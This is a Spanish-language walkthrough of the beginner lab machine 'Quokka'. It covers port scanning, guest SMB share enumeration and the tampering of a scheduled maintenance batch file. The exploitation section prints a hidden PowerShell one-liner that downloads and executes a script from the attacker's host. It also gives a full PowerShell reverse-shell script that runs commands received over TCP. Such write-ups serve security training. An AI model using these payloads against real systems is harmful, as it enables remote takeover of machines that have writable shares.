Quokka
๐ Dificultad: Principiante
๐ RECONOCIMIENTO
En primer lugar, tras conectarnos a la mรกquina, utilizamos el comando:
ping -c 1 192.168.1.57
para verificar la conectividad de red.

A continuaciรณn, se realiza el comando:
nmap -p- --open 192.168.1.57 --min-rate 5000 -n
para realizar un escaneo de puertos y servicios detallado en la direcciรณn IP.

Como resultado del escaneo, se identificaron los siguientes puertos abiertos y sus servicios asociados:
80/tcp: Corresponde al servicio HTTP, utilizado para trรกfico web no cifrado.
135/tcp: Relacionado con el servicio MSRPC (Microsoft Remote Procedure Call).
139/tcp: Asociado al protocolo NetBIOS-SSN, usado para compartir recursos en redes locales.
445/tcp: Corresponde al servicio Microsoft-DS (Server Message Block, SMB) para compartir archivos e impresoras.
5985/tcp: Utilizado por WSMan (Windows Remote Management).
47001/tcp: Asociado al servicio WinRM (Windows Remote Management).
49664-49670/tcp: Puertos abiertos con servicios desconocidos, posiblemente usados por aplicaciones especรญficas o dinรกmicas del sistema.
A continuaciรณn, se realizarรก un anรกlisis mรกs detallado de los servicios activos en estos puertos.
๐ EXPLORACIรN
Se utiliza el comando:
sudo nmap -sCV -p80,135,139,445,5985,47001,49664-49670 -v 192.168.1.57
para obtener mรกs informaciรณn sobre ese puerto especรญficamente.


El anรกlisis identificรณ la presencia de un servidor IIS y un servicio Samba en el sistema.


En la pรกgina web encontramos algo que nos podrรญa ayudar como Daniel, Luis y โQuokkaโ deben revisar un servicio secundario que opera con privilegios elevados. Curiosamente, estos nombres coinciden con los usuarios listados en la secciรณn de contacto del portal. Esta pista sugiere que el servicio Samba podrรญa contener informaciรณn relevante o ser un punto de interรฉs.
netexec smb 192.168.1.57 -u 'guest' -p '' --shares

Nos conectamos.
smbclient //192.168.1.57/Compartido -U guest -N

Entre todos nos llama la atenciรณn el archivo mantenamiento.bat.

Nos los descargamos para ver su contenido.

๐ EXPLOTACIรN
Modificamos el archivo para ejecutar una Reverse Shell.
@echo off
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.56:8000/shell.ps1')"
:: Fin del script
exit
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1
# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.2', 13337)
} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2
function WriteToStream ($String) {
# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2
$StreamWriter.Write($String + 'SHELL> ')
$StreamWriter.Flush()
}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}
# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()
Debemos configurar un servidor para que el script pueda obtener la shell y enviรกrnosla de vuelta. Para ello, abriremos un servidor en Python y pondremos un puerto en escucha.


๐ PRIVILEGIOS

Ya somos root.
Te deseo mucho รฉxito en tu bรบsqueda de las flags! Recuerda prestar atenciรณn a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el รฉxito estรก en la perseverancia y en no dejar ningรบn rincรณn sin explorar. ยกAdelante, hacker! ๐ป๐๐
Last updated
Was this helpful?